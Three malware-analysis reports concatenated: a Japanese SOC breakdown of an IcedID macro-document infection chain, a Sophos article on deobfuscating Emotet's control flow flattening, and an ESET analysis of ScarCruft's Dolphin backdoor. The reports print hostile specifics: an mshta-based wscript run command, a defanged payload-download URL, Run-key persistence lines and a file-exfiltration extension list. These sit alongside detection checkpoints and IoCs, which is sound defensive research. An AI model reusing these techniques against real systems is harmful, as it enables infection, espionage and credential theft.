不審メールに添付されたdocファイルを解析して得られたファイル実行からマルウェア感染までの概要を示します。
1. パスワード付きzipファイルが添付された不審メールを受信する
2. パスワード付きzipファイルを展開しdocファイルを開いた後、wordのコンテンツ有効化を許可しマクロを実行する。マクロはmshta.exeをin.comとしてリネームコピーして保存する
3. マクロがin.htmlを生成する
4. 生成したファイルでin.htmlを実行する
5. in.htmlはスクリプトをレジストリに書き出す
6. in.htmlは生成したレジストリを読み込み、内部関数を使ってスクリプトを実行する。ホストは外部からHTTP通信で実行ファイルを取得する。取得したファイルはtemp.tmpとして保存される
7. in.htmlはtemp.tmpを実行し、IcedIDに感染する
## 不審なdocファイルに含まれるマクロの解析
不審なdocファイルに含まれるマクロは複数のマクロファイルから構成されており、ユーザによって一度マクロが有効化されたdocファイルは、AutoOpenマクロにより当該ファイルを開くたびにマクロが実行されるよう工夫されています。
それぞれのマクロファイルは特有の処理を行うといった意味のある構成になっておらず、複数のマクロファイルの関数を相互に呼び出すことで攻撃者の意図した挙動を取ります。また、それぞれのマクロファイルは不要な処理やコメントアウトを多く含み、冗長な作りにすることで解読を困難にする工夫がされています。
AutoOpenマクロで呼び出される関数は大きく3つの処理から成り立っています。
### docファイルのマクロ 1つ目の処理
AutoOpenマクロで呼び出される1つ目の関数に含まれる機能を解説します。この関数では、後続の処理でスクリプトを実行させるために、Windows標準ファイルのmshta.exeを別名でコピーする処理を行います。
まず、ブロックでは"lmth.ni|moc.ni|exe.athsm"の文字列を反転し分割することで、ファイル名として使用するmshta.exe, in.com, in.htmlの文字をそれぞれを配列に格納します。
次に、定義した値を反転・置換処理の後、ファイル名生成処理で得られた値と結合しファイルパスを生成します。反転、置換処理の例を示します。
(例)231met1sys1 →(反転)→ 1sys1tem132 →(置換)→ system32
この処理の結果、以下のファイルパスが生成されます。
1. C:\WINDOWS\system32\mshta.exe
2. C:\Users\【ユーザ名】\AppData\Local\Temp\in.com
3. C:\Users\【ユーザ名】\AppData\Local\Temp\in.html
得られたパスである「C:\WINDOWS\system32\mshta.exe」は、処理で「C:\Users\【ユーザ名】\AppData\Local\Temp\in.com」としてファイルコピーされます。
### docファイルのマクロ 2つ目の処理
AutoOpenマクロで呼び出される2つ目の関数に含まれる機能を解説します。この関数では、不審なスクリプトを書き出す処理を行います。
2つ目の関数には、ActiveDocument.BuiltInDocumentPropertiesという処理を含むブロックが見られ、ここではActiveDocument.BuiltInDocumentProperties(category)を取得しています。
ActiveDocument.BuiltInDocumentPropertiesはdocファイルのプロパティを取得する組み込み関数であり、categoryを指定することで、「分類」の項目に含まれる値を取得します。検証した不審なdocファイルのプロパティを確認すると、「分類」の項目には不審なタグのようなものが設定されていました。
この「分類」に含まれていた文字列を詳細に確認したところ、docファイルのプロパティ画面では1行目だけが見えていましたが、実際には難読化された複数行のコードが格納されていました。
この難読化されたコードは一見可読性がないように見えますが、docファイルのプロパティ画面で確認できた<ugzy>はアルファベットを13文字戻して表記しなおすと<html>となることから、このコードがROT13で書かれていることがわかります。実際にホスト上では、この難読化されたコードはROT13で復号されたのち、先ほどの1つ目の関数で得られた「C:\Users\【ユーザ名】\AppData\Local\Temp\in.html」という名前で保存されていました。
つまり、AutoOpenマクロで呼び出される2つ目の関数ではdocファイルの「分類」に隠れている暗号化されたスクリプトを、ROT13で復号し「C:\Users\【ユーザ名】\AppData\Local\Temp\in.html」という名前で保存します。
### docファイルのマクロ 3つ目の処理
AutoOpenマクロで呼び出される3つ目の関数に含まれる機能を解説します。この関数の構成はシンプルで、AutoOpenマクロ1つ目の処理でin.comの名前にリネームしたmshta.exeをin.htmlを引数に指定して実行します。この結果、2つ目の処理で書き出した不審なスクリプトが実行されます。
実行される処理は以下の通りです。
`CreateObject("wscript.shell").run(C:\Users\【ユーザ名】\AppData\Local\Temp\in.com C:\Users\【ユーザ名】\AppData\Local\Temp\in.html)`
## 不審なdocファイル実行により生成されるスクリプトファイルin.htmlの解析
in.htmlは、外部のホストからHTTP通信で実行ファイルをダウンロードし実行することで、ホストをIcedIDに感染させる機能を持ちます。
in.htmlは、まず一時的にレジストリ(HKEY_CURRENT_USER\\Software\\mysoftware1\\key1)に難読化された文字列を値として登録し、その値を読み込んだ後、登録したレジストリキーを削除します。
key1に登録される難読化された値はbase64など複数の処理を施したコードであり、後続の処理で復号し実行されます。このコードを復号すると外部へのHTTPの通信(GET)を行う処理が確認できます。ここでも接続先となるURLは難読化されており、この文字列を反転し、base64デコードをすると平文として取得が可能です。
今回復号して得られる通信先は以下であり、マクロを実行した際に発生するこのホストへのHTTP通信を示します。このHTTP通信の通信先には特徴があり、観測する時期によって特徴が変化することを確認しています。
hxxp://fg-clip8673[.]com/share/cgHW3FKPXMSQzsZ(省略)/ahtap15
表1 マクロ実行時のHTTP通信の特徴
| 観測時期 | HTTPメソッド | 特徴 |
|------------------|--------------|--------------------------------|
| 2020/11/20以前 | GET | URLに「4桁数字.com/update/」を含む |
| 2020/11/20以降 | GET | URLに「4桁数字.com/share/」を含む |
以上の処理でdocファイルのマクロが実行するin.htmlは、外部から不審なファイルをダウンロードし、レスポンスを%temp%temp.tmpとして保存し実行します。このとき、ダウンロードを試行したホストに不審なファイルが配置されていればホストはIcedIDに感染し、ファイルが存在しない場合はHTTPレスポンス内容がホスト上に保存されます。今回確認した検体は、本稿執筆時点では接続先から不審なファイルを取得できませんでした。
## 監視視点のアドバイス
弊社SOC監視環境ではIcedIDの不審メール拡散活動直後に検知があったため、情報収集しても不審情報が集まらない事例がありました。このような状況の場合、アンチウイルスベンダの対応も間に合わず、IcedID感染が組織内で発生する可能性があります。
監視環境下においてIcedID感染有無を確認できるポイントは以下の通りです。ただしこのチェックポイントで想定する感染有無はホスト上でアンチウイルスやエンドポイント監視などがなく、特定の挙動を遮断できない場合としています。
| チェックポイント | Yes | No |
|------------------|-----|----|
| 1. マクロ実行時のHTTP通信の特徴をもつログがProxyログにあり、200レスポンスを応答している | 感染 | 感染無 |
| 2. ホスト上で、%temp%temp.tmpが存在し、ファイルは実行形式である | 感染 | 感染無 |
| 3. レジストリHKEY_CURRENT_USER\\Software\\mysoftware1が存在する | No1 No2の結果次第 |
| 4. Proxyログに.clubや.cyouなどのホストへ定常的な通信ログがある | 感染の可能性あり | 感染無 |
## まとめ
本稿では、弊社SOCで確認したIcedIDの傾向と感染に至るまでのプロセスを解説しました。IcedIDは、弊社SOC監視環境下でも感染の被害を確認している検体です。
現在確認しているIcedIDのキャンペーンは、日本で利用されやすいパスワード付きzipを使って拡散します。そのため、メールゲートウェイによる拡張子規制による対策が難しく、メール受信者においては身に覚えのない添付ファイルを実行しないことが改めて重要になります。万が一docファイルを開いてしまっても、警告に出てくる「コンテンツ有効化」をしないことが重要です。
弊社SOCではこれらの特徴をSIEM(Security Information and Event Management)の相関監視ルールとして実装することでFirewallログやProxyログから実行ファイル取得通信や、感染通信を検知することが可能です。また、弊社が提供しているマネージドEDRサービスでは、エンドポイントでの不正なファイル作成の実行を検知・遮断可能です。これまでのネットワーク監視の視点に加え、エンドポイントでの対策を実施することでより効果的なマルウェア対策が実現できます。 |
# Attacking Emotet’s Control Flow Flattening
**Andreas Klopsch**
**May 4, 2022**
Emotet has been one of the most professional and long-lasting cybercrime services and malware infections in the threat landscape. Notorious since shortly after its debut in 2014, the botnet was disrupted in January 2021 by a multinational law enforcement effort that sidelined its activity for almost a year. Unfortunately, in November 2021 the botnet re-emerged and once again began to appear on Sophos’ radar.
To protect our customers, SophosLabs is always looking for the most significant techniques, tactics, and procedures used to distribute and deliver Emotet. In this post, we’ll look at Control Flow Flattening (CFF), one of several obfuscation tactics Emotet’s developers use to make detection and reverse engineering of the malware’s payload more difficult. We’ll provide a brief example of CFF applied to a simple hello-world program, and then discuss how Sophos researchers address CFF in Emotet’s code. We’ll finish by summarizing the challenges and problems we encountered during research.
Emotet’s internals have been covered by many researchers, but we have not seen discussions on de-obfuscating its use of Control Flow Flattening so far.
Figure 1 shows the volume of Emotet payloads detected in our sandbox systems in the first quarter of 2022. As the chart shows, we receive multiple Emotet submissions daily; we believe that the recurring larger spikes result from large-scale campaigns being kicked off by the malware’s distributors. This is a sensible assumption; Emotet is mainly distributed via email spam, and more malicious emails naturally lead to more sandbox submissions.
In addition to Emotet’s delivery mechanism and prevalence, we also analyze the final payload in depth. Thus, we noticed Control Flow Flattening in an unpacked Emotet sample. Control Flow Flattening hides program flow by putting all function blocks next to each other. It is a well-known obfuscation technique used to conceal the purpose of software. While extracting the original code from a flattened binary is inherently challenging, we have successfully adapted some existing toolsets to deobfuscate the majority of Emotet payload functionality.
## What is Control Flow Flattening?
Control Flow Flattening is a technique that aims to obfuscate program flow by taking away tidy program structures in favor of putting the program blocks inside a loop with a single switch statement controlling program flow. First, the body of the function is broken into basic blocks, and then the blocks are put next to each other on the same level. A visualization of this transformation can be seen in Figure 2. Control Flow Flattening can be combined with other obfuscation techniques, such as API Hashing or String Encryption. Some of the most prominent obfuscators for flattening functions are OLLVM and Tigress.
## Flattening Hello World
For demonstration purposes, we’ve compiled a simple program written in C. On the left side of Figure 3, an annotated control flow graph (CFG) of the binary is shown. On the right side you can see the decompiled output generated by the Hex-Rays Decompiler. In this figure, no obfuscation techniques have been applied. The Hex-Rays Decompiler has no trouble generating an easy-to-read high-level language representation of the disassembly. Even without a decompiler, an experienced reverse engineer can simply follow the control flow graph to understand its purpose.
Now we’ll flatten the function and compare the results. Figure 4 displays the CFG and decompiled output after Control Flow Flattening was applied. On the left side, we see that the number of basic blocks has more than doubled, and reading the decompiled output is not possible anymore without spending a significant amount of time analyzing it.
Overall, CFF introduces the following problems to hamper our analysis:
- The control flow is concealed. Instead of being able to follow the blocks, a control flow dispatcher block is implemented. This block determines which blocks are executed next.
- A state variable annotated as `stateVar` in the decompiled output is updated with high entropy variables throughout the function. The state variable is used by the control flow dispatcher to decide which block gets executed next.
- The two problems above lead to a highly complex decompiled output. While it is still possible to follow the execution flow, the time and effort needed to understand the function is significantly larger than it would be compared to the decompiled output in Figure 3.
## Unflattening Emotet
To deobfuscate Emotet’s use of Control Flow Flattening, we started with a review of existing tools and research on CFG deobfuscation. Some of those include:
- Hex-Rays Microcode API vs. Obfuscating Compiler by Rolf Rolles
- Defeating Compiler-Level Obfuscations used in APT10 Malware by VMWare’s Threat Analysis Unit
- Deobfuscation: recovering an OLLVM-protected program by Francis Gabriel of Quarkslab
- D810: A journey into control flow unflattening by Boris Batteaux of eShard
For deeper dives into the algorithm behind CFG Unflattening, the articles referenced above provide a wealth of information.
In Figure 5 you can see the decompiled output and CFG of a function in an unpacked Emotet sample. Excluding the Control Flow Flattening applied here, the output might seem confusing, because Emotet applies more than just one obfuscation technique.
First, the function calls OpenSCManagerA to retrieve a handle to the Service Control Manager. Next, it calls OpenServiceW to open an existing service. If opening the service succeeds, the opened service will be deleted via DeleteService. Finally, the opened handles will be closed. If the service was deleted successfully, the function returns 1, otherwise 0.
If we compare the decompiled output of Figure 3 and Figure 4, we can see multiple similarities, and we can identify the CFG dispatcher again. In the decompiled output, we see a variable we annotated as `stateVar`. Like the output in Figure 3, this is our state variable that is constantly updated and used by the dispatcher to determine which block is executed next.
On a high level, if we want to restore the control flow, we need to:
1. Identify the dispatcher block and states.
2. For each block, identify the corresponding constant and find the address of the next block to execute based on dispatcher and state variable value.
3. Patch the outbound dispatcher blocks to jump to the address of the original next block.
Instead of patching and operating on the disassembly directly, we make use of the Hex-Rays Microcode API. Microcode is an intermediate language used by the Hex-Rays decompiler. During decompilation, the decompiler steps through different maturity phases. The different phases are displayed in Figure 6 below. The API allows us to hook the decompilation progress and operate on the microcode instead of patching the disassembly directly.
## Adjusting the Tool
We used an IDAPython fork of Rolf Rolles’ HexRaysDeob tool as our foundation. Like the fork, we are operating solely on the maturity level MMAT_LOCOPT, the third level in the figure above. As seen in Figure 6, that maturity level includes information about inbound and outbound blocks, which are necessary to correctly identify dispatcher blocks.
Handling Multiple/Related Dispatchers: In multiple functions, running the deobfuscation algorithm on a single dispatcher did not generate an output we were satisfied with. Analysis showed that more complex functions might contain multiple nested dispatchers instead of one. We added additional logic to identify and run the algorithm on multiple dispatchers. This option can be turned on or off by setting the RUN_MLTPL_DISPATCHERS flag to True or False.
Risky Search for the Cluster Head: A flattened block might be implemented by multiple microcode blocks. To find the end of the region, the original algorithm by Rolf Rolles generates a dominator tree and uses the generated information to determine the end of a region, or the beginning of a cluster. In some cases, the algorithm failed to find the cluster head. We added an additional function to determine the cluster head as a fallback.
Adding Additional Patterns and Small Code Updates: In some cases, the existing logic failed in patching all flattened blocks. After analyzing multiple functions, we identified various patterns that reoccurred throughout the whole binary. We added additional logic to identify and unflatten blocks following these patterns to the existing code base.
Out of 254 functions, we categorized 68 functions as flattened. From these 68 functions, we were able to unflatten 38 successfully. Nineteen functions were partially flattened, and 11 functions failed. By “unflattened successfully,” we mean cases in which our script failed to unflatten a maximum of 3 states. “Partially unflattened” means that most of the function remains flattened, but our tool was able to unflatten some blocks. Finally, “failed” means that we were not able to deobfuscate a single block in the function.
## IoCs
| Description | SHA256 |
|-------------|--------|
| Packed | 9a0286ec0a3e7ea346759c9497c8b5c7c212fa2c780a1cabb094134bf492a51b |
| Unpacked | 1bbce395c839c737fdc983534b963a1521ab9693a5b585f15b8a4950adea5973 |
Our unflattening tool is now available on the SophosLabs Github.
## Conclusion and Limitations
Control Flow Flattening is a complex topic, and the purpose of this article is to share our experience and results attacking Emotet’s Control Flow Flattening. While we made multiple adjustments and met with some success, our solution is not able to deobfuscate all functions completely. Among the outstanding issues:
- The algorithm to detect nested dispatchers is simple. Therefore, we have added an option to turn it on and off. In rare cases, a faulty output is generated if the nested dispatcher is enabled.
- In many functions, we had to deal with conditional states. Depending on the outcome of, for example, a WINAPI function, the state variable changes to a different value at runtime. Additional patching and insertion of microcode instructions would be needed to unflatten these conditional blocks.
- Our main approach was to add logic for reoccurring patterns in the binary. As our work progressed, we realized that a microcode emulator might have been a better choice, or would have been an adjustment that led to more unflattened blocks.
- During development and evaluation, we experienced multiple crashes. We are all humans and we make mistakes, so some crashes will result from bugs in our code. However, judging from the error messages, we believe that there is a deeper-rooted problem in the Python port of the Microcode API. Therefore, we recommend saving often and keeping a copy of the IDB file.
Overall, we recommend that researchers always cross-check their results and not trust the output blindly. Control Flow Flattening used in conjunction with other obfuscation techniques certainly complicates the process of reverse engineering Emotet, but the technique we’ve described helps to even the odds against researchers examining this high-profile malware.
## Appendix: Emotet and Code Obfuscation
When sharing the decompiled output of functions in an Emotet sample, it is impossible not to encounter other Emotet obfuscation techniques beyond CFF. This appendix covers the most prevalent obfuscation techniques we have identified in an unpacked Emotet sample. Keep in mind that Emotet is usually delivered in a packed form and needs to be unpacked first.
### String Encryption
Emotet contains encrypted strings in its unpacked form. Before usage, strings will be decrypted and freed again right after each serves its purpose.
### API Hashing
Emotet uses API Hashing to conceal the usage of API functions. The malware calculates the hash of exported function names for a given DLL. If the calculated hash matches the constant pushed onto the stack at method invocation, the pointer to the exported function will be retrieved.
In most cases, API Hashing calls and their corresponding dynamic call are wrapped into separate functions. We have automated this analysis, and functions with prefix DYN_ are functions determined at runtime via API Hashing.
### Junk Instructions
Emotet embeds junk instructions to confuse reverse engineers. Junk instructions are instructions that do not serve any purpose except to complicate and slow down analysis.
### Stack Obfuscation
Another interesting technique that confuses the IDA decompiler is the way in which Emotet passes parameters to functions. DYN_BCryptEncrypt first resolves the API function BCryptEncrypt and stores the pointer to this function in register EAX. The function is then called via call EAX. Instead of just pushing the necessary parameters, this method pushes values onto the stack not being used by the actual EAX call. This leads to generation of a function signature that is much harder to read than normal. |
# Who’s Swimming in South Korean Waters? Meet ScarCruft’s Dolphin
ESET researchers uncover Dolphin, a sophisticated backdoor extending the arsenal of the ScarCruft APT group.
ESET researchers have analyzed a previously unreported backdoor used by the ScarCruft APT group. The backdoor, which we named Dolphin, has a wide range of spying capabilities, including monitoring drives and portable devices, exfiltrating files of interest, keylogging, taking screenshots, and stealing credentials from browsers. Its functionality is reserved for selected targets, to which the backdoor is deployed after initial compromise using less advanced malware. In line with other ScarCruft tools, Dolphin abuses cloud storage services – specifically Google Drive – for C&C communication.
During our investigation, we saw continued development of the backdoor and attempts by the malware authors to evade detection. A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security, most likely to maintain access to victims’ email inboxes.
In this blog post, we provide a technical analysis of the Dolphin backdoor and explain its connection to previously documented ScarCruft activity. We will present our findings about this new addition to ScarCruft’s toolset at the AVAR 2022 conference.
## Key Points
- ESET researchers analyzed Dolphin, a previously unreported backdoor used by the ScarCruft APT group.
- Dolphin is deployed on selected targets only; it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive.
- The backdoor was used as the final payload of a multistage attack in early 2021, involving a watering-hole attack on a South Korean online newspaper, an Internet Explorer exploit, and another ScarCruft backdoor, named BLUELIGHT.
Since the initial discovery of Dolphin in April 2021, ESET researchers have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection. A notable feature of earlier Dolphin versions we analyzed is the ability to modify the settings of victims’ signed-in Google and Gmail accounts to lower their security.
## ScarCruft Profile
ScarCruft, also known as APT37 or Reaper, is an espionage group that has been operating since at least 2012. It primarily focuses on South Korea, but other Asian countries also have been targeted. ScarCruft seems to be interested mainly in government and military organizations, and companies in various industries linked to the interests of North Korea.
## Dolphin Overview
In 2021, ScarCruft conducted a watering-hole attack on a South Korean online newspaper focused on North Korea. The attack consisted of multiple components, including an Internet Explorer exploit and shellcode leading to a backdoor named BLUELIGHT, reported by Volexity and Kaspersky.
In those reports, the BLUELIGHT backdoor was described as the attack’s final payload. However, when analyzing the attack, we discovered through ESET telemetry a second, more sophisticated backdoor, deployed on selected victims via BLUELIGHT. We named this backdoor Dolphin based on a PDB path found in the executable.
While the BLUELIGHT backdoor performs basic reconnaissance and evaluation of the compromised machine after exploitation, Dolphin is more sophisticated and manually deployed only against selected victims. Both backdoors are capable of exfiltrating files from a path specified in a command, but Dolphin also actively searches drives and automatically exfiltrates files with extensions of interest to ScarCruft.
## Dolphin Analysis
Analysis of Dolphin’s components and their capabilities is provided in the following section. The analysis is based on the first version of the backdoor that we found, 1.9, with additional information about changes in newer versions. A summarized description of the version changes can be found in the Dolphin evolution section.
### Dolphin Installer
The installer and loader components responsible for the execution of the Dolphin backdoor in the analyzed attack scenario are described. It is worth noting that this installer and the deployed loader are not exclusive to Dolphin and were previously seen used with other ScarCruft malware.
The installer shellcode follows these main objectives:
- Download and deploy a Python interpreter
- Generate and deploy a loading chain with its payload
- Ensure persistence of the loading chain
The installer downloads a CAB file from OneDrive, containing a legitimate Python 2.7 interpreter. The CAB is unpacked to %APPDATA%, and depending on architecture, the interpreter ends up in one of the following directories:
- %appdata%\Python27(32)\
- %appdata%\Python27(64)\
The installer generates two file paths for loading-chain components, `<loader_step_1>` and `<loader_encrypted_step_2>`, with the format `<base_dir>\<inf_name>\<dll_name>`. `<base_dir>` is randomly selected from:
- %PROGRAMDATA%
- %PUBLIC%
- %APPDATA%\Microsoft
- %APPDATA%\Microsoft\Windows
- %LOCALAPPDATA%
- %LOCALAPPDATA%\Microsoft
- %LOCALAPPDATA%\Microsoft\Windows
`<inf_name>` and `<dll_name>` are randomly selected from existing filenames (without extension) in `%windir%\inf\*.inf` and `%windir%\system32\*.dll`.
To generate Step 1 of Loader, it uses a script template that is filled with randomly generated names (variables, function). The script is then written to `<loader_step_1>`. Step 2, embedded in the installer, containing the rest of the loading chain, including the payload, is encrypted with a one-byte XOR key derived from the current time and written to `<loader_encrypted_step_2>`.
In order to persist the start of the loading chain, the installer sets a Run registry value:
`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random_run_name>\”%appdata%\Python27({32|64})\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>”`
The `<random_run_name>` is randomly selected from existing filenames matching `%WINDIR%\inf\*.inf`, discarding the .inf extension. To start the loading chain after installation, it creates a one-time scheduled task.
### Dolphin Loader
The Dolphin loader consists of a Python script and shellcode. Step 1, the Python script, reads a specified file, XOR-decrypts its contents, and executes the resulting shellcode. Step 2, shellcode, creates a host process (random CLI executable from `%WINDIR%\System32\*.exe`), XOR-decrypts further shellcode carried within itself, and injects it into the created process. Step 3, another shellcode, XOR-decrypts an embedded PE file – the Dolphin backdoor – and loads and executes it using a custom PE loader.
### Dolphin Backdoor
Dolphin is a backdoor that collects information and executes commands issued by its operators. The backdoor is a regular Windows executable, written in C++. It communicates with Google Drive cloud storage, which is used as its C&C server. We named the backdoor Dolphin based on a PDB path found in the executable: `D:\Development\BACKDOOR\Dolphin\x64\Release\Dolphin.pdb`.
### Persistence
The backdoor periodically checks and creates its own persistence by making sure that Step 1 of the loader is run every time the system is started, via a registry Run value, in the same way as in the installer:
`HKCU\Software\Microsoft\Windows\CurrentVersion\Run\<random_run_name>\”%appdata%\Python27({32|64})\pythonw.exe” “<loader_step_1>” “<loader_encrypted_step_2>”`
### Capabilities
The following basic information about the computer and the backdoor is collected:
- Current backdoor configuration
- Username
- Computer name
- Local and external IP address
- List of installed security products
- RAM size and usage
- Result of check for debugger and other inspection tools (such as Wireshark)
- OS version
- Current time
- Malware version
Dolphin downloads commands, issued by its operators, from Google Drive storage and executes them. After execution, the output of commands is uploaded. Most of Dolphin’s capabilities are controlled through commands.
#### File Exfiltration
By default, Dolphin searches all non-fixed drives (USBs), creates directory listings, and exfiltrates files by extension. This search can be extended to fixed drives (HDDs), via dedicated commands. The following file extensions of interest, specific to media, documents, emails, and certificates, are specified in the default configuration:
`jpg, doc, xls, ppt, hwp, url, csv, pdf, show, cell, eml, odt, rtf, nxl, amr, 3gp, m4a, txt, msg, key, der, cer, docx, xlsx, pptx, pfx, mp3`
Besides this automatic search, specific files can be exfiltrated. In the newer versions, the default search was extended to fixed drives. The command to get specific files was improved, by caching/storing it in the configuration until completion.
#### Portable Devices
Among regular drives, Dolphin also searches portable devices such as smartphones, using the Windows Portable Device (WPD) API. It creates directory listings and exfiltrates files. This functionality appeared to be under development in the first version we found, for several reasons:
- Relying on a hardcoded path with a username that likely doesn’t exist on the victim’s computer
- Missing variable initialization – some variables are assumed to be zero-initialized, or dereferenced as pointers without initialization
- Missing extension filtering
The code is heavily based on Microsoft’s Portable Devices COM API code sample. Apart from automatic search, the operators can specify individual files to be exfiltrated from portable devices. In newer versions, this capability was finished and improved by adding extension filtering. For unknown reasons, the command to retrieve specific files from portable devices was removed.
#### Keylogging and Screenshots
Dolphin logs keystrokes for windows with titles containing substrings specified in its configuration. The defaults are chrome and internet explorer. This is done via the GetAsyncKeyState API, with keystrokes being logged along with the window name and current time. Screenshots are also taken at a configurable interval; the default is once every 30 seconds. Screenshots and keylogging are enabled by default and can be toggled via a command.
#### Shellcode
Dolphin can receive shellcode for execution. The shellcode is stored in the registry, under one of the following keys:
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Themes\Classic\<random_number>`
- `HKCU\Software\Microsoft\OneDrive\Update\<random_number>`
- `HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\HttpsSoftware\Microsoft\Internet Explorer\Zone\<random_number>` (two subkeys as one, likely a coding error)
It can be executed either locally or in a specified separate process that is created and injected. In the newer versions, the shellcode is stored in files instead of the registry, and the stored shellcode is loaded and executed on Dolphin’s startup, which was not the case in version 1.9.
#### Shell Commands
Dolphin can execute shell commands; this is done via the popen API and their output is retrieved.
#### Stealing Credentials
Dolphin can retrieve credentials from browsers in the form of saved passwords and cookies. The following browsers are supported:
- Chrome
- Edge
- Internet Explorer
In version 2.2, this capability was removed, presumably to avoid detection. It was later restored in version 3.0, but in a different form. It is now dynamically received from the C&C in the form of shellcode.
#### Google Account
Another one of Dolphin’s commands modifies the settings of the currently logged-in Google account, lowering its security relative to default settings. It steals the existing cookie of the logged-in account from the browser and crafts requests that modify the settings.
First, it enables access to Gmail via the IMAP protocol by sending an HTTP POST request. Then it enables “less secure app access” by sending an undocumented RPC request via an HTTP POST. These modifications are referred to as “thunder access” in the backdoor, likely being a reference to the Thunderbird email client. Accessing their victims’ inboxes with a third-party client via IMAP probably helps ScarCruft operators maintain access to the victims’ emails after stealing credentials, which may not be enough on their own, due to Google’s detection of suspicious login attempts. This feature was found in versions 1.9 and 2.0 of the backdoor; it is not present in versions 2.2 or 3.0.
#### Data Staging
Dolphin exfiltrates data to Google Drive storage, staging the data in encrypted ZIP archives before upload. The backdoor also maintains a list of files in the form of MD5 hashes, in order to avoid uploading the same file multiple times. This list can be reset via a dedicated command.
#### Configuration
The backdoor contains an initial default configuration that is persisted on first run and loaded on subsequent runs. It is stored in the file `%ProgramData%\<variable_cfg_name>.inf`, where `<variable_cfg_name>` is randomly selected from existing filenames matching `%windir%\inf\*.inf`. The content is encrypted using AES CBC with random 16-byte keys and IVs, which are stored at the file’s beginning. The configuration uses JSON format, with hash-like keys.
## Dolphin Evolution
Since the initial discovery of Dolphin in April 2021, we have observed multiple versions of the backdoor, in which the threat actors improved the backdoor’s capabilities and made attempts to evade detection.
### November 2021 – Version 2.0
Version 2.0 introduced the following changes to the version found in April 2021:
- Dynamic resolution of suspicious APIs instead of static imports (for example GetAsyncKeyState) added
- Shellcode capability finished and improved
- Persisted shellcode stored in files instead of registry
- Persisted shellcode loaded and executed on Dolphin startup (previously missing)
- Portable device file exfiltration capability finished and improved
- Exfiltration by extensions added
- Recognition of internal memory and SD cards (from device ID) added
- Command to get files from portable devices effectively a NOP
- Device/drive detection and file exfiltration improved
### December 2021 – Version 2.2
Changes introduced in version 2.2 focused mainly on detection evasion. The credential-stealing capability and commands related to it – the credential stealing and Google account commands – were removed. Most strings in this version are base64 encoded.
### January 2022 – Version 3.0
In version 3.0, the code was reorganized and classes renamed, with capabilities remaining unchanged. The base64-encoded strings were plaintext again in this version. We observed the following additional changes:
- Command to steal credentials restored in a different form; it now executes shellcode from the C&C
- Command to get files from portable devices completely removed
- Command to get files from drives is now cached/stored in the configuration until completion
- Internet connection check added; no malicious code is executed if offline
The differences between versions 2.2 and 3.0, especially the discrepancy in string encoding, suggest the possibility that the versions were being developed in parallel by different people.
## Conclusion
Dolphin is another addition to ScarCruft’s extensive arsenal of backdoors abusing cloud storage services. After being deployed on selected targets, it searches the drives of compromised systems for interesting files and exfiltrates them to Google Drive. One unusual capability found in prior versions of the backdoor is the ability to modify the settings of victims’ Google and Gmail accounts to lower their security, presumably in order to maintain account access for the threat actors. During our analysis of multiple versions of the Dolphin backdoor, we saw continued development and attempts to evade detection.
For any inquiries about our research published on WeLiveSecurity, please contact us at [email protected]. ESET Research also offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page.
## IoCs
| SHA-1 | Filename | ESET Detection Name | Description |
|-------|----------|---------------------|-------------|
| F9F6C0184CEE9C1E4E15C2A73E56D7B927EA685B | N/A | Win64/Agent.MS | Dolphin backdoor version 1.9 (x64) |
| 5B70453AB58824A65ED0B6175C903AA022A87D6A | N/A | Win32/Spy.Agent.QET | Dolphin backdoor version 2.0 (x86) |
| 21CA0287EC5EAEE8FB2F5D0542E378267D6CA0A6 | N/A | Win64/Agent.MS | Dolphin backdoor version 2.0 (x64) |
| D9A369E328EA4F1B8304B6E11B50275F798E9D6B | N/A | Win32/Agent.UYO | Dolphin backdoor version 3.0 (x86) |
| 2C6CC71B7E7E4B28C2C176B504BC5BDB687C4D41 | N/A | Win64/Agent.MS | Dolphin backdoor version 3.0 (x64) |
## MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|--------|----|------|-------------|
| Initial Access | T1189 | Drive-by Compromise | ScarCruft uses watering-hole attacks to compromise victims. |
| Execution | T1059.006 | Command and Scripting Interpreter: Python | The Dolphin loader uses Python script. |
| Execution | T1059.007 | Command and Scripting Interpreter: JavaScript | ScarCruft used malicious JavaScript for a watering-hole attack. |
| Exploitation for Client Execution | T1203 | ScarCruft exploits CVE-2020-1380 to compromise victims. |
| Native API | T1106 | Dolphin uses Windows API functions to execute files and inject processes. |
| Persistence | T1053.005 | Scheduled Task/Job: Scheduled Task | Dolphin uses a temporary scheduled task to start after installation. |
| Persistence | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Dolphin uses Run keys for persistence of its loader. |
| Defense Evasion | T1055.002 | Process Injection: Portable Executable Injection | Dolphin can inject into other processes. |
| Defense Evasion | T1027 | Obfuscated Files or Information | Dolphin has encrypted components. |
| Credential Access | T1555.003 | Credentials from Password Stores: Credentials from Web Browsers | Dolphin can obtain saved passwords from browsers. |
| Credential Access | T1539 | Steal Web Session Cookie | Dolphin can obtain cookies from browsers. |
| Discovery | T1010 | Application Window Discovery | Dolphin captures the title of the active window. |
| Discovery | T1083 | File and Directory Discovery | Dolphin can obtain file and directory listings. |
| Discovery | T1518.001 | Software Discovery: Security Software Discovery | Dolphin obtains a list of installed security software. |
| Discovery | T1082 | System Information Discovery | Dolphin obtains various system information including OS version, computer name, and RAM size. |
| Discovery | T1016 | System Network Configuration Discovery | Dolphin obtains the device’s local and external IP address. |
| Discovery | T1016.001 | System Network Configuration Discovery: Internet Connection Discovery | Dolphin checks internet connectivity. |
| Discovery | T1033 | System Owner/User Discovery | Dolphin obtains the victim’s username. |
| Discovery | T1124 | System Time Discovery | Dolphin obtains the victim’s current time. |
| Collection | T1056.001 | Input Capture: Keylogging | Dolphin can log keystrokes. |
| Collection | T1560.002 | Archive Collected Data: Archive via Library | Using the Zipper library, Dolphin compresses and encrypts collected data before exfiltration. |
| Collection | T1119 | Automated Collection | Dolphin periodically collects files with certain extensions from drives. |
| Collection | T1005 | Data from Local System | Dolphin can collect files from local drives. |
| Collection | T1025 | Data from Removable Media | Dolphin can collect files from removable drives. |
